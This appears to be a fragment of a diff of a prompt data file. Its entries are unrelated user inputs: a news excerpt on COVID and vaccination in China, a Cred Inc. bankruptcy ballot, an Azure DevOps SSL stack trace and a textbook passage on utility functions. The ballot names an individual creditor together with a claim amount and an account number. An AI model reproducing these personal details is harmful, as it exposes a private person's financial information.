figures, however, have become less reliable as testing has dropped. It also stopped reporting asymptomatic figures on Wednesday.\n\n CONCERN FOR ELDERLY\n\n China, which has said around 90% of its population is vaccinated against COVID, has now decided to roll out the second booster shot for high-risk groups and elderly people over 60 years of age.\n\n National Health Commission spokesperson Mi Feng said on Wednesday it was necessary to accelerate the promotion of vaccinations, according to comments reported by state media.\n\n The latest official data shows China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots.\n\n Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day.\n\n Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day.\n\n But one Shanghai care home said on Wednesday a number of its residents have not yet been vaccinated and considering their underlying medical condition, it has barred visitors and non-essential deliveries while stockpiling medicines, tests kits and protective gear.\n\n "We are racking our brains on how to ensure the safety of your grandparents," the Yuepu Tianyi Nursing Home wrote in a letter posted on its official WeChat account page.\n\n Beijing has been largely resistant to western vaccines and treatments, having relied on locally-made shots. Pfizer\'s (PFE.N) oral COVID-19 treatment Paxlovid is one of the few foreign ones it has approved.\n\n The treatment, however, has only been available in hospitals for high-risk patients, but signs have appeared in recent days that it may soon be made more widely available.\n\n China Meheco Group Co Ltd\'s stock jumped (600056.SS) after it announced a deal to import the U.S. drugmaker\'s treatment on Wednesday.\n\n ECONOMIC CONFERENCE\n\n As the virus spreads, President Xi, his ruling Politburo and senior government officials began a two-day meeting to plot a recovery for China\'s battered economy, according to sources with knowledge of the matter.\n\n China\'s economy lost more steam in November as factory output growth slowed and retail sales extended declines, both missing forecasts and clocking their worst readings since May, data on Thursday showed.\n\n Economists estimate that China\'s growth has slowed to around 3% this year, marking one of China\'s worst performances in almost half a century."\n\n \nFrom the article above, I find the following sentences most interesting:\n 1. "Upward of 1 million people could die from COVID in the coming months."\n 2. "Other experts have put the potential toll at more than 2 million."\n 3. "China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots."' -'Heres the ballot 4 details "IN THE UNITED STATES BANKRUPTCY COURT\nFOR THE DISTRICT OF DELAWARE\n)\nIn re: ) Chapter 11\n)\nCRED INC., et al., ) Case No. 20-12836 (JTD)\n)\nDebtors.1 )\n)\n(Jointly Administered)\n)\nBALLOT FOR ACCEPTING OR REJECTING JOINT PLAN OF LIQUIDATION OF CRED INC. AND\nITS SUBSIDIARIES UNDER CHAPTER 11 OF THE BANKRUPTCY CODE\nCLASS 4: GENERAL UNSECURED CLAIMS\nTHE VOTING DEADLINE TO ACCEPT OR REJECT THE PLAN IS\nMARCH 1, 2021 AT 4:00 P.M. (PREVAILING EASTERN TIME).\nCred Inc. and its affiliated debtors, as debtors in possession (collectively, the “Debtors”) are soliciting votes\nwith respect to the First Amended Combined Joint Plan of Liquidation and Disclosure Statement of Cred Inc. and its\nSubsidiaries Under Chapter 11 of the Bankruptcy Code (with respect to its component parts, as modified, amended,\nor supplemented from time to time, the “Plan” and the “Disclosure Statement”, or, collectively the “Combined Joint\nPlan and Disclosure Statement”). Capitalized terms used in this Ballot and the attached instructions that are not\notherwise defined have the meanings given to them in the Combined Joint Plan and Disclosure Statement.\nIf you, as of January 14, 2021 (the “Voting Record Date”), hold a Class 4 General Unsecured Claim, as\ndefined in the Combined Joint Plan and Disclosure Statement, this Ballot permits you to cast your vote to accept or\nreject the Plan as well as make the Convenience Class Election in accordance with the Plan. The Disclosure\nStatement has been approved on an interim basis by the United States Bankruptcy Court for the District of Delaware\n(the “Bankruptcy Court”).\nThe Bankruptcy Court’s interim approval of the Disclosure Statement does not indicate the Bankruptcy\nCourt’s approval of the Plan. The Plan can be confirmed by the Bankruptcy Court and thereby made binding on you\nif the Plan (i) is accepted by the holders of at least two-thirds in amount and more than one-half in number of the\nClaims in each impaired Class of Claims who vote on the Plan, (ii) is accepted by the holders of at least two thirds in\namount of the interests in each impaired Class of interests who vote on the Plan, and (iii) otherwise satisfies the\napplicable requirements of section 1129(a) of the Bankruptcy Code. If the requisite acceptances are not obtained,\nthe Bankruptcy Court nonetheless may confirm the Plan if it finds that the Plan (i) provides fair and equitable\ntreatment to, and does not unfairly discriminate against, the Class or Classes rejecting the Plan and (ii) otherwise\nsatisfies the requirements of section 1129(b) of the Bankruptcy Code.\nBallots may be submitted either in hard copy to the Voting Agent or via the Online Portal, as further\ndetailed in the attached Instructions. Ballots submitted by e-mail or facsimile transmission will not be\naccepted. Ballots should not be sent to the Debtors or the Bankruptcy Court.\n1 The Debtors in these chapter 11 cases, along with the last four digits of each debtor’s tax identification\nnumber, as applicable, are as follows: Cred Inc. (8268), Cred (US) LLC (5799), Cred Capital Inc. (4064), Cred\nMerchant Solutions LLC (3150), and Cred (Puerto Rico) LLC (3566). The Debtors’ mailing address is 3 East Third\nAvenue, Suite 200, San Mateo, California 94401.\n969\n4\n005822-001 WILDER VELASQUEZ (1/1) 2467004932\nClass:\n2\nPLEASE READ THE ATTACHED VOTING INFORMATION AND\nINSTRUCTIONS BEFORE COMPLETING THIS BALLOT.\nPLEASE REVIEW THE COMBINED JOINT PLAN AND DISCLOSURE STATEMENT BEFORE YOU\nVOTE. THIS BALLOT IS FOR VOTING ALL OF YOUR GENERAL UNSECURED CLAIMS IN CLASS 4.\nIF YOU HOLD CLAIMS IN MORE THAN ONE CLASS UNDER THE PLAN, YOU WILL RECEIVE A\nBALLOT FOR EACH CLASS IN WHICH YOU ARE ENTITLED TO VOTE AND MUST COMPLETE A\nSEPARATE BALLOT FOR EACH CLASS OF CLAIMS.\nIF NEITHER THE “ACCEPT” NOR “REJECT” BOX IS CHECKED IN ITEM 2 OR IF BOTH BOXES\nARE CHECKED IN ITEM 2, THIS BALLOT WILL BE NOT BE COUNTED.\nPLEASE REVIEW THE ACKNOWLEDGEMENT CONTAINED IN ITEM 4. IF THIS BALLOT IS NOT\nSIGNED ON THE APPROPRIATE LINES BELOW, THIS BALLOT WILL NOT BE VALID OR\nCOUNTED AS HAVING BEEN CAST.\nItem 1. Voting Amount of Class 4 General Unsecured Claims. The undersigned certifies that, as of the Voting\nRecord Date, the undersigned is a holder of General Unsecured Claims in Class 4 of the Plan in the following\naggregate amount:\nItem 2. Vote to Accept or Reject the Plan. The undersigned, a holder of the Class 4 General Unsecured Claims\nset forth in Item 1, votes as follows (check only one box below):\n\uf071 ACCEPT the Plan. \uf071 REJECT the Plan.\nItem 3. Release. You will be bound by the third party release in Section 18.2 of the Plan if you (1) vote in favor of\nthe Plan or (2) abstain from voting or vote to reject the Plan and do not opt out by checking the box at the end of this\nItem 3. The third party release in Section 18.2 provides as follows:\nIn addition, effective as of the Confirmation Date, but subject to the occurrence\nof the Effective Date, and in consideration of the services of the Released Parties, the\nsettlements and compromises contained herein, and the Distributions to be made\npursuant to the Combined Plan and Disclosure Statement, (a) each of the Debtors, (b) all\nHolders of Claims or Equity Interests, who (1) vote in favor of the Combined Plan and\nDisclosure Statement or (2) (A) abstain from voting, are not entitled to vote, or vote to\nreject the Combined Plan and Disclosure Statement and (B) do not opt out of the this\nrelease on a timely submitted Ballot or the Opt -Out Election Form, and (c) with respect\nto the foregoing subparagraph (b), the current and former Affiliates thereof, and such\nEntities’ and their current and former Affiliates’ current and former members, directors,\nmanagers, officers, equity holders (regardless of whether such interests are held directly\nor indirectly), predecessors, successors, and assigns, subsidiaries, and each of their\nrespective current and former members, equity holders, officers, directors, managers,\n\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\n2 For voting purposes only. Subject to tabulation rules.\n2\n969\n4\n$4,226.46\n005822-001 WILDER VELASQUEZ (1/1) 2467004932\nClass:\n3\n(abs) (a/r)\nprincipals, members employees, agents, advisory board members, financial advisors,\npartners, attorneys, accountants, investment bankers, consultants, representatives, and\nother Professionals, each in their capacity as such, shall be deemed to have released and\ndischarged each Released Party from any and all claims and Causes of Action, whether\nknown or unknown, including any derivative claims asserted on behalf of the Debtors,\nthat such Entity would have been legally entitled to assert (whether individually or\ncollectively), based on or relating to, or in any manner arising from, in whole or in part,\nthe Debtors, the Debtors’ prepetition operations and activities, existing or hereinafter\narising in law, equity, or otherwise, based in whole or in part on any act, omission,\ntransaction, event or other occurrence taking place before the Effective Date.\nFor the avoidance of doubt, no Insider that is not a Released Party, including,\nwithout limitation, James Alexander, Lu Hua, Dan Schatt, Joseph Podulka, and Daniyal\nInamullah, will receive a release or exculpation of any kind hereunder, whether from the\nDebtors or otherwise.\n“Released Parties” is defined in the Plan as the Professionals retained by the Debtors, Grant Lyon as the\nDebtors’ independent director, Matthew Foster as the Debtors’ chief restructuring officer, any other\nstaff supplied by Sonoran Capital Advisors, LLC, the Professionals retained by the Committee, and the\nrespective agents and representatives of each of the foregoing.\n\uf071 By checking this box, the undersigned elects to opt out of the release.\nItem 4. Voluntary Election for Convenience Claim Treatment (Optional). As explained in the Combined Joint\nPlan and Disclosure Statement, you may elect to have your Class 4 Claims treated instead as a Convenience Claim\nin Class 5 by making a Convenience Class Election. Making the Convenience Class Election is optional and\nvoluntary; you should compare the treatment of Claims in Class 4 and Class 5 before deciding whether to make the\nConvenience Class Election. If you accept the Convenience Class Election, then you will be deemed to have\nwaived your Class 4 Claims and instead your Claims shall be converted to a Class 5 Convenience Claim in the\namount of $1,000.\nThe undersigned, a holder of the Class 4 General Unsecured Claims as set forth in Item 1:\n\uf071 ACCEPTS the Convenience Class Election and the conversion of all its Class 4 General Unsecured\nClaims into a Class 5 Convenience Claim in the amount of $1,000.\n969\n4\n005822-001 WILDER VELASQUEZ (1/1) 2467004932\nClass:\n4\nItem 5. Acknowledgments. By signing this Ballot, the undersigned acknowledges receipt of the Combined Joint\nPlan and Disclosure Statement and the other applicable solicitation materials and certifies that the undersigned is the\nclaimant or has the power and authority to vote to accept or reject the Plan on behalf of the claimant. The\nundersigned understands that, if this Ballot is otherwise validly executed but does not indicate either acceptance or\nrejection of the Plan, this Ballot will not be counted.\nCreditor:\nName\nSocial Security or Federal Tax I.D. No. (optional)\nSignature\nIf by Authorized Agent, Name and Title\nName of Institution\nStreet Address\nCity, State, Zip Code\nTelephone Number\nDate Completed\n969\n4\n005822-001"' \ No newline at end of file +'Heres the ballot 4 details "IN THE UNITED STATES BANKRUPTCY COURT\nFOR THE DISTRICT OF DELAWARE\n)\nIn re: ) Chapter 11\n)\nCRED INC., et al., ) Case No. 20-12836 (JTD)\n)\nDebtors.1 )\n)\n(Jointly Administered)\n)\nBALLOT FOR ACCEPTING OR REJECTING JOINT PLAN OF LIQUIDATION OF CRED INC. AND\nITS SUBSIDIARIES UNDER CHAPTER 11 OF THE BANKRUPTCY CODE\nCLASS 4: GENERAL UNSECURED CLAIMS\nTHE VOTING DEADLINE TO ACCEPT OR REJECT THE PLAN IS\nMARCH 1, 2021 AT 4:00 P.M. (PREVAILING EASTERN TIME).\nCred Inc. and its affiliated debtors, as debtors in possession (collectively, the “Debtors”) are soliciting votes\nwith respect to the First Amended Combined Joint Plan of Liquidation and Disclosure Statement of Cred Inc. and its\nSubsidiaries Under Chapter 11 of the Bankruptcy Code (with respect to its component parts, as modified, amended,\nor supplemented from time to time, the “Plan” and the “Disclosure Statement”, or, collectively the “Combined Joint\nPlan and Disclosure Statement”). Capitalized terms used in this Ballot and the attached instructions that are not\notherwise defined have the meanings given to them in the Combined Joint Plan and Disclosure Statement.\nIf you, as of January 14, 2021 (the “Voting Record Date”), hold a Class 4 General Unsecured Claim, as\ndefined in the Combined Joint Plan and Disclosure Statement, this Ballot permits you to cast your vote to accept or\nreject the Plan as well as make the Convenience Class Election in accordance with the Plan. The Disclosure\nStatement has been approved on an interim basis by the United States Bankruptcy Court for the District of Delaware\n(the “Bankruptcy Court”).\nThe Bankruptcy Court’s interim approval of the Disclosure Statement does not indicate the Bankruptcy\nCourt’s approval of the Plan. The Plan can be confirmed by the Bankruptcy Court and thereby made binding on you\nif the Plan (i) is accepted by the holders of at least two-thirds in amount and more than one-half in number of the\nClaims in each impaired Class of Claims who vote on the Plan, (ii) is accepted by the holders of at least two thirds in\namount of the interests in each impaired Class of interests who vote on the Plan, and (iii) otherwise satisfies the\napplicable requirements of section 1129(a) of the Bankruptcy Code. If the requisite acceptances are not obtained,\nthe Bankruptcy Court nonetheless may confirm the Plan if it finds that the Plan (i) provides fair and equitable\ntreatment to, and does not unfairly discriminate against, the Class or Classes rejecting the Plan and (ii) otherwise\nsatisfies the requirements of section 1129(b) of the Bankruptcy Code.\nBallots may be submitted either in hard copy to the Voting Agent or via the Online Portal, as further\ndetailed in the attached Instructions. Ballots submitted by e-mail or facsimile transmission will not be\naccepted. Ballots should not be sent to the Debtors or the Bankruptcy Court.\n1 The Debtors in these chapter 11 cases, along with the last four digits of each debtor’s tax identification\nnumber, as applicable, are as follows: Cred Inc. (8268), Cred (US) LLC (5799), Cred Capital Inc. (4064), Cred\nMerchant Solutions LLC (3150), and Cred (Puerto Rico) LLC (3566). The Debtors’ mailing address is 3 East Third\nAvenue, Suite 200, San Mateo, California 94401.\n969\n4\n005822-001 WILDER VELASQUEZ (1/1) 2467004932\nClass:\n2\nPLEASE READ THE ATTACHED VOTING INFORMATION AND\nINSTRUCTIONS BEFORE COMPLETING THIS BALLOT.\nPLEASE REVIEW THE COMBINED JOINT PLAN AND DISCLOSURE STATEMENT BEFORE YOU\nVOTE. THIS BALLOT IS FOR VOTING ALL OF YOUR GENERAL UNSECURED CLAIMS IN CLASS 4.\nIF YOU HOLD CLAIMS IN MORE THAN ONE CLASS UNDER THE PLAN, YOU WILL RECEIVE A\nBALLOT FOR EACH CLASS IN WHICH YOU ARE ENTITLED TO VOTE AND MUST COMPLETE A\nSEPARATE BALLOT FOR EACH CLASS OF CLAIMS.\nIF NEITHER THE “ACCEPT” NOR “REJECT” BOX IS CHECKED IN ITEM 2 OR IF BOTH BOXES\nARE CHECKED IN ITEM 2, THIS BALLOT WILL BE NOT BE COUNTED.\nPLEASE REVIEW THE ACKNOWLEDGEMENT CONTAINED IN ITEM 4. IF THIS BALLOT IS NOT\nSIGNED ON THE APPROPRIATE LINES BELOW, THIS BALLOT WILL NOT BE VALID OR\nCOUNTED AS HAVING BEEN CAST.\nItem 1. Voting Amount of Class 4 General Unsecured Claims. The undersigned certifies that, as of the Voting\nRecord Date, the undersigned is a holder of General Unsecured Claims in Class 4 of the Plan in the following\naggregate amount:\nItem 2. Vote to Accept or Reject the Plan. The undersigned, a holder of the Class 4 General Unsecured Claims\nset forth in Item 1, votes as follows (check only one box below):\n\uf071 ACCEPT the Plan. \uf071 REJECT the Plan.\nItem 3. Release. You will be bound by the third party release in Section 18.2 of the Plan if you (1) vote in favor of\nthe Plan or (2) abstain from voting or vote to reject the Plan and do not opt out by checking the box at the end of this\nItem 3. The third party release in Section 18.2 provides as follows:\nIn addition, effective as of the Confirmation Date, but subject to the occurrence\nof the Effective Date, and in consideration of the services of the Released Parties, the\nsettlements and compromises contained herein, and the Distributions to be made\npursuant to the Combined Plan and Disclosure Statement, (a) each of the Debtors, (b) all\nHolders of Claims or Equity Interests, who (1) vote in favor of the Combined Plan and\nDisclosure Statement or (2) (A) abstain from voting, are not entitled to vote, or vote to\nreject the Combined Plan and Disclosure Statement and (B) do not opt out of the this\nrelease on a timely submitted Ballot or the Opt -Out Election Form, and (c) with respect\nto the foregoing subparagraph (b), the current and former Affiliates thereof, and such\nEntities’ and their current and former Affiliates’ current and former members, directors,\nmanagers, officers, equity holders (regardless of whether such interests are held directly\nor indirectly), predecessors, successors, and assigns, subsidiaries, and each of their\nrespective current and former members, equity holders, officers, directors, managers,\n\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\n2 For voting purposes only. Subject to tabulation rules.\n2\n969\n4\n$4,226.46\n005822-001 WILDER VELASQUEZ (1/1) 2467004932\nClass:\n3\n(abs) (a/r)\nprincipals, members employees, agents, advisory board members, financial advisors,\npartners, attorneys, accountants, investment bankers, consultants, representatives, and\nother Professionals, each in their capacity as such, shall be deemed to have released and\ndischarged each Released Party from any and all claims and Causes of Action, whether\nknown or unknown, including any derivative claims asserted on behalf of the Debtors,\nthat such Entity would have been legally entitled to assert (whether individually or\ncollectively), based on or relating to, or in any manner arising from, in whole or in part,\nthe Debtors, the Debtors’ prepetition operations and activities, existing or hereinafter\narising in law, equity, or otherwise, based in whole or in part on any act, omission,\ntransaction, event or other occurrence taking place before the Effective Date.\nFor the avoidance of doubt, no Insider that is not a Released Party, including,\nwithout limitation, James Alexander, Lu Hua, Dan Schatt, Joseph Podulka, and Daniyal\nInamullah, will receive a release or exculpation of any kind hereunder, whether from the\nDebtors or otherwise.\n“Released Parties” is defined in the Plan as the Professionals retained by the Debtors, Grant Lyon as the\nDebtors’ independent director, Matthew Foster as the Debtors’ chief restructuring officer, any other\nstaff supplied by Sonoran Capital Advisors, LLC, the Professionals retained by the Committee, and the\nrespective agents and representatives of each of the foregoing.\n\uf071 By checking this box, the undersigned elects to opt out of the release.\nItem 4. Voluntary Election for Convenience Claim Treatment (Optional). As explained in the Combined Joint\nPlan and Disclosure Statement, you may elect to have your Class 4 Claims treated instead as a Convenience Claim\nin Class 5 by making a Convenience Class Election. Making the Convenience Class Election is optional and\nvoluntary; you should compare the treatment of Claims in Class 4 and Class 5 before deciding whether to make the\nConvenience Class Election. If you accept the Convenience Class Election, then you will be deemed to have\nwaived your Class 4 Claims and instead your Claims shall be converted to a Class 5 Convenience Claim in the\namount of $1,000.\nThe undersigned, a holder of the Class 4 General Unsecured Claims as set forth in Item 1:\n\uf071 ACCEPTS the Convenience Class Election and the conversion of all its Class 4 General Unsecured\nClaims into a Class 5 Convenience Claim in the amount of $1,000.\n969\n4\n005822-001 WILDER VELASQUEZ (1/1) 2467004932\nClass:\n4\nItem 5. Acknowledgments. By signing this Ballot, the undersigned acknowledges receipt of the Combined Joint\nPlan and Disclosure Statement and the other applicable solicitation materials and certifies that the undersigned is the\nclaimant or has the power and authority to vote to accept or reject the Plan on behalf of the claimant. The\nundersigned understands that, if this Ballot is otherwise validly executed but does not indicate either acceptance or\nrejection of the Plan, this Ballot will not be counted.\nCreditor:\nName\nSocial Security or Federal Tax I.D. No. (optional)\nSignature\nIf by Authorized Agent, Name and Title\nName of Institution\nStreet Address\nCity, State, Zip Code\nTelephone Number\nDate Completed\n969\n4\n005822-001"' +"Encountered an unexpected error.\nSystem.Net.Http.HttpRequestException: The SSL connection could not be established, see inner exception.\n ---> System.TypeInitializationException: The type initializer for 'WorkingChain' threw an exception.\n ---> System.TypeInitializationException: The type initializer for 'System.Security.Cryptography.SafeEvpPKeyHandle' threw an exception.\n ---> System.EntryPointNotFoundException: Unable to find an entry point named 'CryptoNative\\_OpenSslVersionNumber' in shared library 'libSystem.Security.Cryptography.Native.OpenSsl'.\n at Interop.OpenSsl.OpenSslVersionNumber()\n at System.Security.Cryptography.SafeEvpPKeyHandle..cctor()\n --- End of inner exception stack trace ---\n at System.Security.Cryptography.SafeEvpPKeyHandle.get\\_OpenSslVersion()\n at Internal.Cryptography.Pal.OpenSslX509ChainProcessor.WorkingChain..cctor()\n --- End of inner exception stack trace ---\n at Internal.Cryptography.Pal.OpenSslX509ChainProcessor.Finish(OidCollection applicationPolicy, OidCollection certificatePolicy)\n at Internal.Cryptography.Pal.ChainPal.BuildChain(Boolean useMachineContext, ICertificatePal cert, X509Certificate2Collection extraStore, OidCollection applicationPolicy, OidCollection certificatePolicy, X509RevocationMode revocationMode, X509RevocationFlag revocationFlag, DateTime verificationTime, TimeSpan timeout)\n at System.Security.Cryptography.X509Certificates.X509Chain.Build(X509Certificate2 certificate, Boolean throwOnException)\n at System.Security.Cryptography.X509Certificates.X509Chain.Build(X509Certificate2 certificate)\n at System.Net.Security.CertificateValidation.BuildChainAndVerifyProperties(X509Chain chain, X509Certificate2 remoteCertificate, Boolean checkCertName, String hostName)\n at System.Net.Security.SecureChannel.VerifyRemoteCertificate(RemoteCertValidationCallback remoteCertValidationCallback, ProtocolToken& alertToken)\n at System.Net.Security.SslStream.CompleteHandshake(ProtocolToken& alertToken)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReceiveBlob(Byte[] buffer, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReceiveBlob(Byte[] buffer, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.PartialFrameCallback(AsyncProtocolRequest asyncRequest)\n--- End of stack trace from previous location where exception was thrown ---\n at System.Net.Security.SslStream.ThrowIfExceptional()\n at System.Net.Security.SslStream.InternalEndProcessAuthentication(LazyAsyncResult lazyResult)\n at System.Net.Security.SslStream.EndProcessAuthentication(IAsyncResult result)\n at System.Net.Security.SslStream.EndAuthenticateAsClient(IAsyncResult asyncResult)\n at System.Net.Security.SslStream.<>c.b\\_\\_65\\_1(IAsyncResult iar)\n at System.Threading.Tasks.TaskFactory`1.FromAsyncCoreLogic(IAsyncResult iar, Func`2 endFunction, Action`1 endAction, Task`1 promise, Boolean requiresSynchronization)\n--- End of stack trace from previous location where exception was thrown ---\n at System.Net.Http.ConnectHelper.EstablishSslConnectionAsyncCore(Stream stream, SslClientAuthenticationOptions sslOptions, CancellationToken cancellationToken)\n --- End of inner exception stack trace ---\n at Microsoft.VisualStudio.Services.Common.VssHttpRetryMessageHandler.SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)\n at System.Net.Http.HttpClient.FinishSendAsyncBuffered(Task`1 sendTask, HttpRequestMessage request, CancellationTokenSource cts, Boolean disposeCts)\n at Microsoft.VisualStudio.Services.WebApi.VssHttpClientBase.SendAsync(HttpRequestMessage message, HttpCompletionOption completionOption, Object userState, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssHttpClientBase.SendAsync[T](HttpRequestMessage message, Object userState, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Location.Client.LocationHttpClient.GetConnectionDataAsync(ConnectOptions connectOptions, Int64 lastChangeId, CancellationToken cancellationToken, Object userState)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.GetConnectionDataAsync(ConnectOptions connectOptions, Int32 lastChangeId, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.ConnectAsync(ConnectOptions connectOptions, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.EnsureConnectedAsync(ConnectOptions optionsNeeded, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.GetInstanceIdAsync(CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.LocationService.GetLocationDataAsync(Guid locationAreaIdentifier, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientInstanceAsync(Type managedType, Guid serviceIdentifier, CancellationToken cancellationToken, VssHttpRequestSettings settings, DelegatingHandler[] handlers)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientServiceImplAsync(Type requestedType, Guid serviceIdentifier, Func`4 getInstanceAsync, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientAsync[T](CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Content.Common.AsyncHttpRetryHelper`1.InvokeAsync(CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Content.Common.ExceptionExtensions.ReThrow(Exception ex)\n at Microsoft.VisualStudio.Services.Content.Common.AsyncHttpRetryHelper`1.InvokeAsync(CancellationToken cancellationToken)\n at ArtifactTool.DedupManifestArtifactClientProvider.GetDedupManifestArtifactClientAsync(String serviceUrl, String patVar, ILogger commandBaseLogger, IAppTraceSource tracer, String cacheDirectory, Boolean cacheWriteAllowed, CancellationToken cancellationToken) in D:\\a\\1\\s\\src\\ArtifactTool\\Providers\\DedupManifestArtifactClient\\DedupManifestArtifactClientProvider.cs:line 56\n at ArtifactTool.Commands.UPackPublishCommand.ExecuteAsync() in D:\\a\\1\\s\\src\\ArtifactTool\\Commands\\UPack\\UPackPublishCommand.cs:line 51\n at ArtifactTool.Commands.CommandBase.OnExecuteAsync() in D:\\a\\1\\s\\src\\ArtifactTool\\Commands\\CommandBase.cs:line 105\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.InvokeAsync(MethodInfo method, Object instance, Object[] arguments) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 77\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.OnExecute(ConventionContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 62\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.<>c\\_\\_DisplayClass0\\_0.d.MoveNext() in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 25\n--- End of stack trace from previous location where exception was thrown ---\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.<>c\\_\\_DisplayClass126\\_0.b\\_\\_0() in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.cs:line 505\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.Execute(String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.cs:line 611\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.Execute[TApp](CommandLineContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 57\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](CommandLineContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 145\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](IConsole console, String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 130\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 112\nProcess ['/home/pablo/.azure/azuredevops/cli/tools/artifacttool/ArtifactTool\\_linux-x64\\_0.2.267/artifacttool', 'universal', 'publish', '--service', 'https://dev.azure.com/bkinfra/', '--patvar', 'AZURE\\_DEVOPS\\_EXT\\_ARTIFACTTOOL\\_PATVAR', '--feed', 'feed-be-coinscrap', '--package-name', 'coinscrap-us', '--package-version', '4.7.1', '--path', '/tmp/coinscrap-us.tar'] with PID 57139 exited with return code 1" +'1.4 Utility functions\nIn many economic models, an individual is described not by his preferences but\nby a value function. This formulation does not imply that the individual explicitly\nderives his preferences from a value function, but only that his preferences can\nbe derived from such a function. Preferences with this property are said to be\nrepresented by the value function. We refer to a value function that represents\npreferences as a utility function.\nDefinition 1.6: Utility function\nFor any set X and preference relation ¼ on X, the function u : X → R\nrepresents ¼ if\nx ¼ y if and only if u(x) ≥ u(y ).\nWe say that u is a utility function for ¼.\nExample 1.1\nConsider the preference relation ¼ on the set {a,b, c ,d } for which a \x1f b ∼\nc \x1f d . The function u for which u(a) = 5, u(b) = u(c ) = −1, and u(d ) =\n−17 is a utility function for ¼.\nUnder what conditions can a preference relation be represented by a utility\nfunction? To answer this question, we need another definition.\nDefinition 1.7: Minimal and maximal alternatives\nFor any set X and preference relation ¼ on X, the alternative x ∈ X is minimal with respect to ¼ in X if y ¼ x for all y ∈ X and is maximal with respect\nto ¼ in X if x ¼ y for all y ∈ X .\n10 Chapter 1. Preferences and utility\nThe next result shows that every preference relation on a finite set has minimal and maximal members.\nLemma 1.1: Existence of minimal and maximal alternatives\nLet X be a nonempty finite set and let ¼ be a preference relation on X. At\nleast one member of X is minimal with respect to ¼ in X and at least one\nmember is maximal.\nProof\nWe prove the result for minimality; the argument for maximality is analogous. We use induction on the number n of members of X. If n = 1 the\nsingle member of X is minimal with respect to ¼ in X. Assume the result is\ntrue for n − 1; we prove it is true for n. Let 